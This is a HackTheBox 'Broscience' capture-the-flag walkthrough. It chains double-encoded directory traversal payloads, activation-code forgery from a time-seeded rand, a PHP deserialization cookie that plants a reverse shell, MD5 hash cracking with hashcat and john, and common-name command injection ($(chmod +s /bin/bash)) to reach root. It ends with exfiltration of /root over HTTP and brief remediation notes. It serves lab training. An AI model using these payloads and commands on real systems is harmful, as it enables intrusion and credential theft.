HackTheBox Broscience is a Linux machine rated Medium. This machine is flawed with broken access control(A01:2021), cryptographic failures(A02:2021), software and data integrity failures(A08:2021), and injection(A03:2021).
Attack Chain: A source code disclosure caused by a directory traversal vulnerability, improper implementation of activation token, and exploiting an insecure deserialization gave the attacker an initial foothold. Further exploiting a shell injection vulnerability within a certificate renewal script elevated the attacker’s privileges to the root user.
Initialization
1
2
# connect to vpnsudo openvpn --auth-nocache --config lab_connection.ovpn
I tried registering but there was no way to intercept the activation link. Then I explored the resulting paths from the directory discovery. The includes and user.php appeared interesting. On checking the user.php I encounter an error Missing ID value. Tried the user.php again with parameter key id using values 1 through 5 which return some user detail but no credential or anything juicy.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
curl -s -k https://broscience.htb/user.php?id=1| html2text
<<SNIP
BroScience
* Log_In
****** administrator ******
Member since
4 years ago
Email Address
administrator@broscience.htb
Total exercises posted
3
Total comments posted
1
Is activated
Yes
Is admin
Yes
SNIP
In the includes path all the files therein displayed an empty page except for img.php which requested a path parameter. Tried this path again with the parameter key path and value ../../../etc/passwd. This threw an error Attack detected. This application could possibly be vulnerable to Directory Traversal. Added the host to scope, then crawl and audited it with Burp. And tried variations of this payload. This payload %252e%252e%252f a double encoding of ../ as identified with burpsuite looked promising as it did not return ‘Error: Attack detected.’. After several trials, double encoded ../../../../etc/passwd and dumped the contents of the file. While researching, found and installed a urlencoder/urldecoder utility which helped with the double encoding process.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
curl -sk 'https://broscience.htb/includes/img.php?path=../../../etc/passwd'| html2text
#--snip--#Error: Attack detected.
curl -sk https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../../../../etc/passwd))| grep sh$ # get the users with shell#-snip-#root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
# let's exfiltrate the interesting files in the includes directorycurl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../includes/db_connect.php)) -o db_connect.php # get the db_connect filecurl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../includes/img.php)) -o img.php # get img filecurl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../includes/utils.php)) -o utils.php # get utils file
# download payloadwget https://raw.githubusercontent.com/foospidy/payloads/master/other/traversal/dotdotpwn.txt
# with ffufffuf -c -s -ac -u https://broscience.htb/includes/img.php?path=FUZZ -w dotdotpwn.txt -t 50 -fs '0-30' -mc '200'<<SNIP
..%252f..%252f..%252f..%252fetc%252fpasswd
..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
.%2e%252f.%2e%252f.%2e%252f.%2e%252fetc%252fpasswd
.%2e%252f.%2e%252f.%2e%252f.%2e%252f.%2e%252fetc%252fpasswd
.%2e%252f.%2e%252f.%2e%252f.%2e%252f.%2e%252f.%2e%252fetc%252fpasswd
%2e.%252f%2e.%252f%2e.%252f%2e.%252fetc%252fpasswd
%2e.%252f%2e.%252f%2e.%252f%2e.%252f%2e.%252fetc%252fpasswd
%2e.%252f%2e.%252f%2e.%252f%2e.%252f%2e.%252f%2e.%252fetc%252fpasswd
%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252fetc%252fpasswd
%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252fetc%252fpasswd
SNIP# with gobustergobuster fuzz -u https://broscience.htb/includes/img.php?path=FUZZ -w dotdotpwn.txt -t 50 -k -q --exclude-length '0,27,30' -b '404'<<SNIP
Found: [Status=200] [Length=2235] https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd
Found: [Status=200] [Length=2235] https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
Found: [Status=200] [Length=2235] https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
Found: [Status=200] [Length=2235] https://broscience.htb/includes/img.php?path=.%2e%252f.%2e%252f.%2e%252f.%2e%252f.%2e%252f.%2e%252fetc%252fpasswd
Found: [Status=200] [Length=2235] https://broscience.htb/includes/img.php?path=.%2e%252f.%2e%252f.%2e%252f.%2e%252fetc%252fpasswd
Found: [Status=200] [Length=2235] https://broscience.htb/includes/img.php?path=.%2e%252f.%2e%252f.%2e%252f.%2e%252f.%2e%252fetc%252fpasswd
Found: [Status=200] [Length=2235] https://broscience.htb/includes/img.php?path=%2e.%252f%2e.%252f%2e.%252f%2e.%252fetc%252fpasswd
SNIP# with wfuzzwfuzz -c -u https://broscience.htb/includes/img.php?path=FUZZ -w dotdotpwn.txt -t 50 --filter "c=200 and w>50"<<SNIP
000000157: 200 39 L 64 W 2235 Ch "..%252f..%252f..%252f..%252fetc%252fpasswd"
000000165: 200 39 L 64 W 2235 Ch "..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
000000161: 200 39 L 64 W 2235 Ch "..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
000005197: 200 39 L 64 W 2235 Ch ".%2e%252f.%2e%252f.%2e%252f.%2e%252fetc%252fpasswd"
000005201: 200 39 L 64 W 2235 Ch ".%2e%252f.%2e%252f.%2e%252f.%2e%252f.%2e%252fetc%252fpasswd"
SNIP
Studied the code in exfiltrated files. db_connect.php displays a postgres engine database credentials not publicly accessible. The img.php filters some words, decodes the path before displaying the passed file using a known php function, file_get_contents, vulnerable to directory traversal. Leveraged chat-gpt in understanding the utils.php db_connect.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php$db_host="localhost";$db_port="5432";$db_name="broscience";$db_user="dbuser";$db_pass="RangeOfMotion%777";$db_salt="NaCl";$db_conn=pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");if(!$db_conn){die("<b>Error</b>: Unable to connect to database");}?>
<?phpfunctiongenerate_activation_code(){$chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";srand(time());$activation_code="";for($i=0;$i<32;$i++){$activation_code=$activation_code.$chars[rand(0,strlen($chars)-1)];}return$activation_code;}// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
functionrel_time($from,$to=null){$to=(($to===null)?(time()):($to));$to=((is_int($to))?($to):(strtotime($to)));$from=((is_int($from))?($from):(strtotime($from)));$units=array("year"=>29030400,// seconds in a year (12 months)
"month"=>2419200,// seconds in a month (4 weeks)
"week"=>604800,// seconds in a week (7 days)
"day"=>86400,// seconds in a day (24 hours)
"hour"=>3600,// seconds in an hour (60 minutes)
"minute"=>60,// seconds in a minute (60 seconds)
"second"=>1// 1 second
);$diff=abs($from-$to);if($diff<1){return"Just now";}$suffix=(($from>$to)?("from now"):("ago"));$unitCount=0;$output="";foreach($unitsas$unit=>$mult)if($diff>=$mult&&$unitCount<1){$unitCount+=1;// $and = (($mult != 1) ? ("") : ("and "));
$and="";$output.=", ".$and.intval($diff/$mult)." ".$unit.((intval($diff/$mult)==1)?(""):("s"));$diff-=intval($diff/$mult)*$mult;}$output.=" ".$suffix;$output=substr($output,strlen(", "));return$output;}classUserPrefs{public$theme;publicfunction__construct($theme="light"){$this->theme=$theme;}}functionget_theme(){if(isset($_SESSION['id'])){if(!isset($_COOKIE['user-prefs'])){$up_cookie=base64_encode(serialize(newUserPrefs()));setcookie('user-prefs',$up_cookie);}else{$up_cookie=$_COOKIE['user-prefs'];}$up=unserialize(base64_decode($up_cookie));return$up->theme;}else{return"light";}}functionget_theme_class($theme=null){if(!isset($theme)){$theme=get_theme();}if(strcmp($theme,"light")){return"uk-light";}else{return"uk-dark";}}functionset_theme($val){if(isset($_SESSION['id'])){setcookie('user-prefs',base64_encode(serialize(newUserPrefs($val))));}}classAvatar{public$imgPath;publicfunction__construct($imgPath){$this->imgPath=$imgPath;}publicfunctionsave($tmp){$f=fopen($this->imgPath,"w");fwrite($f,file_get_contents($tmp));fclose($f);}}classAvatarInterface{public$tmp;public$imgPath;publicfunction__wakeup(){$a=newAvatar($this->imgPath);$a->save($this->tmp);}}?>
The first function `generate_activation_code()` generates a random 32-character activation code composed of lowercase and uppercase letters and numbers.
The second function `rel_time()` takes two optional parameters `$from` and `$to` that represent timestamps and returns a human-readable string representing the time difference between them. The string contains a numerical value and a unit of time (year, month, week, day, hour, minute, or second) and ends with the word "ago" or "from now", depending on which timestamp is more recent.
The class `UserPrefs` represents a user's preferences and has a single public property `$theme` that defaults to "light" when an object is instantiated.
The function `get_theme()` retrieves the current user's theme preference from a cookie named "user-prefs". If the cookie does not exist, it creates a new cookie with a default value of light. It then deserializes the cookie value into a `UserPrefs` object and returns the theme property. If there is no active session, it returns "light" by default.
The function `get_theme_class()` takes an optional `$theme` parameter and returns a CSS class name based on the value of `$theme`. If `$theme` is not set, it calls `get_theme()` to retrieve the current user's theme preference. If the theme is "light", it returns "uk-light". Otherwise, it returns "uk-dark".
The function `set_theme()` takes a value and sets the user's theme preference to it by updating the "user-prefs" cookie.
The class `Avatar` represents a user's avatar and has a single public property `$imgPath` that represents the path to the avatar image file. It has a single public method `save()` that takes a temporary file path and saves the file to `$imgPath`.
The class `AvatarInterface` is a special class that is used for serialization and deserialization of `Avatar` objects. It has two public properties, `$tmp` and `$imgPath`, that are used to store the temporary file path and the avatar image path, respectively. The magic method `__wakeup()` is called when an object is unserialized, and it creates a new `Avatar` object and calls its `save()` method with the stored temporary file path.
There are several functions in this code that may be vulnerable depending on how they are used. Here are some potential issues:
1. `srand(time())`: The `srand()` function is used to seed the random number generator, which is then used to generate activation codes. The use of `time()` as the seed can be problematic because it means that the same seed is used each time the script is executed, which can make it easier for attackers to guess the activation code.
2. `rand(0, strlen($chars) - 1)`: The `rand()` function is used to generate random numbers for use in generating activation codes. However, the use of `rand()` for cryptographic purposes is not recommended because it is not a cryptographically secure random number generator. This can make it easier for attackers to guess the activation code.
3. `strtotime()`: The `strtotime()` function is used to convert strings to Unix timestamps, which are then used in the `rel_time()` function. However, if the input string is not properly validated, it can be vulnerable to injection attacks.
4. `unserialize()` and `base64_decode()`: The `unserialize()` and `base64_decode()` functions are used to unserialize data from cookies. These functions can be dangerous if used improperly because they can be used to execute arbitrary code. Attackers can exploit vulnerabilities in these functions to execute code on the server, which can lead to a compromise of the system.
5. `fwrite()`: The `fwrite()` function is used to write data to a file, which can be dangerous if used improperly. Attackers can use this function to write malicious code to the server, which can then be executed.
6. `file_get_contents()`: The `file_get_contents()` function is used to read data from a file, which can be dangerous if used improperly. Attackers can use this function to read sensitive information from the server.
We earlier saw that after a new user has created an account they need to verify the account with an activation link. We will exploit generate_activation_code() to generate the activation code so that we can successfully login. Intercept the registration with burp and use the repeater tool to complete the process. Copy the date from the response and use it for generating the activation code. See broscience01
# adapted activation function
<?phpfunctiongenerate_activation_code(){$chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";srand(strtotime("Mon, 09 Jan 2023 15:46:02 GMT"));$activation_code="";for($i=0;$i<32;$i++){$activation_code=$activation_code.$chars[rand(0,strlen($chars)-1)];}return$activation_code;}printgenerate_activation_code();?>
After generating the activation code, I needed to apply it somewhere to get the newly created account activated. Then I recalled that the directory discovery returned some other paths. I had to exfiltrate all the discovered files.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
curl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../activate.php)) -o activate.php # get activate filecurl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../register.php)) -o register.php # get register filecurl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../login.php)) -o login.php # get login filecurl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../index.php)) -o index.php # get index filecurl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../user.php)) -o user.php # get user filecurl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../comment.php)) -o comment.php # get comment filecurl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../update_user.php)) -o update_user.php # get update user filecurl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../logout.php)) -o logout.php # get logout file
<?phpsession_start();// Check if user is logged in already
if(isset($_SESSION['id'])){header('Location: /index.php');}if(isset($_GET['code'])){// Check if code is formatted correctly (regex)
if(preg_match('/^[A-z0-9]{32}$/',$_GET['code'])){// Check for code in database
include_once'includes/db_connect.php';$res=pg_prepare($db_conn,"check_code_query",'SELECT id, is_activated::int FROM users WHERE activation_code=$1');$res=pg_execute($db_conn,"check_code_query",array($_GET['code']));if(pg_num_rows($res)==1){// Check if account already activated
$row=pg_fetch_row($res);if(!(bool)$row[1]){// Activate account
$res=pg_prepare($db_conn,"activate_account_query",'UPDATE users SET is_activated=TRUE WHERE id=$1');$res=pg_execute($db_conn,"activate_account_query",array($row[0]));$alert="Account activated!";$alert_type="success";}else{$alert='Account already activated.';}}else{$alert="Invalid activation code.";}}else{$alert="Invalid activation code.";}}else{$alert="Missing activation code.";}?><html>
<head>
<title>BroScience : Activate account</title>
<?php include_once 'includes/header.php'; ?>
</head>
<body>
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-container-xsmall">
<?php
// Display any alerts
if (isset($alert)) {
?>
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
<a class="uk-alert-close" uk-close></a>
<?=$alert?>
</div>
<?php
}
?>
</div>
</body>
</html>
Run the generate-activation-code.php snippet again, and copy the output and use it on the /activate.php page as shown in broscience02. We can now log in with the created user details.
Exploitation
Earlier while reading the utils.php file we noticed a serialization and deserialization function and as explain by chat-gpt these could be an attack vector. See Introduction to Insecure Deserialization in PHP - Conviso for serialization-deserialization attack. The succeeding classes Avatar and Avatar interface aided in getting an initial foothold via a cookie poisoning attack. We will create a php reverse shell scripts and construct a serialized object with the following snippet.
foothold.php
Now generate the serialized object using php serializer.php | tr -d '=' and insert it into the cookie user-prefs as shown in broscience03. With a extra three horizontally spilted terminal, start a python server on terminal one, an nc listener on terminal two, and on terminal three curl the uploaded php reverse shell script. Refresh the browser and execute the curl command. See brosciene04.
# upgrade to a full ttypython3 -c 'import pty; pty.spawn("/bin/bash")'stty raw -echo; fg; ls;exportSHELL=/bin/bash;exportTERM=xterm-256color; stty rows 38 columns 116; reset;# hit enter# recall we looted a database credentials so lets use it.ss -tpln # list open tcp ports#--snip--#State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0128 0.0.0.0:22 0.0.0.0:*
LISTEN 0244 127.0.0.1:5432 0.0.0.0:*
cd ~ # change directory to current user's home# connect and explore the databasepsql -h 127.0.0.1 -p 5432 -U dbuser -d broscience -W # on prompt submit password: RangeOfMotion%777\dt # list tablesselect * from users;# explore the users tableselect username,password from users;# select specific columns#--snip--#| username | password
|-------------|----------------------------------
administrator | 15657792073e8a843d4f91fc403454e1
bill | 13edad4932da9dbb57d9cd15b66ed104
michael | bd3dad50e2d578ecba87d5fa15ca5f85
john | a7eed23a7be6fe0d765197b1027453fe
dmytro | 5d15340bded5b9395d5d14b9c21bc82b
\q# prepare the above ready for cracking and save as broscience.hashadministrator:15657792073e8a843d4f91fc403454e1
bill:13edad4932da9dbb57d9cd15b66ed104
michael:bd3dad50e2d578ecba87d5fa15ca5f85
john:a7eed23a7be6fe0d765197b1027453fe
dmytro:5d15340bded5b9395d5d14b9c21bc82b
The passwords are salted with NaCl prefix as revealed by the login.php file. So we generate a specialised wordlist.
# crafted wordlist sed 's/^/NaCl/' /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt > broscience_wordlist.txt
# since the code already hinted we are dealing with md5 hashtype let's crack on# with hashcathashcat -m 0 --username broscience.hash broscience_wordlist.txt -O
hashcat -m 0 --username broscience.hash --show
#--snip--#bill:13edad4932da9dbb57d9cd15b66ed104:NaCliluvhorsesandgym
michael:bd3dad50e2d578ecba87d5fa15ca5f85:NaCl2applesplus2apples
dmytro:5d15340bded5b9395d5d14b9c21bc82b:NaClAaronthehottest
# with john the ripperjohn --list=format-details --format=Raw-MD5
john -w:broscience_wordlist.txt broscience.hash --format=Raw-MD5
john broscience.hash --format=Raw-MD5 --show
---snip---
bill:NaCliluvhorsesandgym
michael:NaCl2applesplus2apples
dmytro:NaClAaronthehottest
# from earlier directory traversal information disclosure we know that root, bill and postgres users have shell login in this machine.# now drop into the machine as user billssh bill@broscience.htb # submit password on prompt: iluvhorsesandgymls -lah # list all contentcat user.txt # capture the user flag.
Escalation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
sudo -l # users sudo right - none# upload linpeas.sh and pspychmod +x pspy
./pspy | tee -a psout # pspy investigation---snip---
CMD: UID=0PID=32917| /bin/bash /root/cron.sh
CMD: UID=0PID=32918| timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
chmod +x linpeas.sh
./linpeas.sh | tee -a linout # linpeas investigation---snip---
ā£ Unexpected in /opt (usually empty)-rwxr-xr-x 1 root root 1806 Jul 142022 renew_cert.sh
The file is owned by root, read by group and executed by all. It checks that existing certificate expiry remains one day and then renew it. And then it moves the renewed .crt to Certs directory in bills home directory and uses the commonName as the name of the file. Since it runs under with the root user and interpolates the common name from the system stored common name variable, we will get it to set the bash utility with the setuid permission i.e $(chmod +s /bin/bash) while moving the file to the Certs directory. Generate certificate with one day to expiry in the Certs folder so the cron can trigger a renewal and inadvertently execute our setuid script after 10 seconds.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cd Certs # change into the Certs directory# create the self-signed certificate named broscience and for 'Common Name (e.g. server FQDN or YOUR name) []:' $(chmod +s /bin/bash)openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt -days 1# check expiry dateopenssl x509 -enddate -noout -in broscience.crt
# after 10 seconds list /bin/bashls -la /bin/bash
#--snip--#-rwsr-sr-x 1 root root 1234376 Mar 272022 /bin/bash
bash -p
whoami # user is effectively rootcat /root/root.txt # capture the root flag
Exfiltration
Collect the source code and helper scripts for further analysis.
1
2
3
4
5
6
7
8
9
10
# start a python server on the victim's machinepython3 -m http.server 8098# download all contents of the /root unto the attacker's machineget -R "index.html*" -c -r -L -p -nc -nH -P source http://10.10.11.195:8098/
cdsource# change directory into source# remove superfluous files and foldersrm -fr .local .cache .profile .viminfo .bashrc .bash_history root.txt
Remediation
Fixing the Foothold Vector Although the developer tried preventing the path traversal vulnerability by comparing the user input against a blacklist words - whilelisting is mostly advised, the file_get_contents and __wakeup functions were the culprits that enabled a foothold on the system. See reference for properly implementing php’s file_get_contents.
fixed img.php
Fixing the Privilege Escalation Vector The privilege escalation vector is quite common in bash scripts. Interpolating a variable seems harmless until a good attacker worth their salt is able to craft a command that runs at interpolation. This reference expounded on escaping variables.
[renew_cert.sh fix snippet]